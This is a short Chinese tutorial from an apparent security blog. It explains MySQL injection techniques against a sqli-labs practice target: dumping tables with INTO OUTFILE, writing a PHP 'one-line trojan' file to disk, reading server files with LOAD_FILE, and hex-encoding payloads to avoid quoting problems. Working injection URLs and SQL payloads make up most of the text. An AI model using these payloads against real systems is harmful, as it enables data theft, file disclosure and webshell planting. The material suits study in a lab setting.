大横幅1
大横幅2
到期时间:永久 到期时间:推广
小横幅3 小横幅4
  1. 当前位置:网站首页 > 技术教程

Mysql注入 -- 数据库导出及读文件


一、数据库导出文件

1、连接数据库

2、通过into outfile导出数据库内容

select * from users into outfile "c:/1.sql";


3、通过into outfile语句,在C盘目录写入一句话木马

select '<?php phpinfo();?>' into outfile "c:/aiyou.php";


4、通过实例导出一句话,避免单引号问题,可以将一句话内容编码为十六进制

http://192.168.139.129/sqli/Less-2/?id=1 and 1=2 union select 1,2,'<?php phpinfo();?>' into outfile 'c:/aiyou.php' --+http://192.168.139.129/sqli/Less-2/?id=1 and 1=2 union select 1,2,0x3c3f70687020706870696e666f28293b3f3e into outfile 'c:/aiyou.php' --+


提示:

导入文件需要修改mysql的一个参数值,打开my.cnf 或 my.ini,加入以下语句后重启mysql。

secure_file_priv=''



二、读文件

1、连接Mysql数据库,读取C盘的aiyou.php内容

select load_file("c:/aiyou.php");


2、通过联合查询,将读到的内容显示出来,为避免引号的问题,将路径编码为十六进制

http://192.168.139.129/sqli/Less-2/?id=1 and 1=2 union select 1,2,load_file("c:/1.sql");http://192.168.139.129/sqli/Less-2/?id=1 and 1=2 union select 1,2,load_file(0x633a2f312e73716c) --+



禁止非法,后果自负


本文最后更新于2021-5-15,已超过 3个月没有更新,如果文章内容或图片资源失效,请留言反馈,我们会及时处理,谢谢!
获取更多资讯请加入交流群

    协助本站SEO优化一下,谢谢!
    关键词不能为空
版权说明

本文地址:http://kirinbk.cn/post-595.html
免责声明:本站文章仅用于科普及教育用途,远离犯罪!

发表评论

联系我们

在线咨询:点击这里给我发消息

QQ交流群:KirinBlog

工作日:8:00-23:00,节假日休息

扫码关注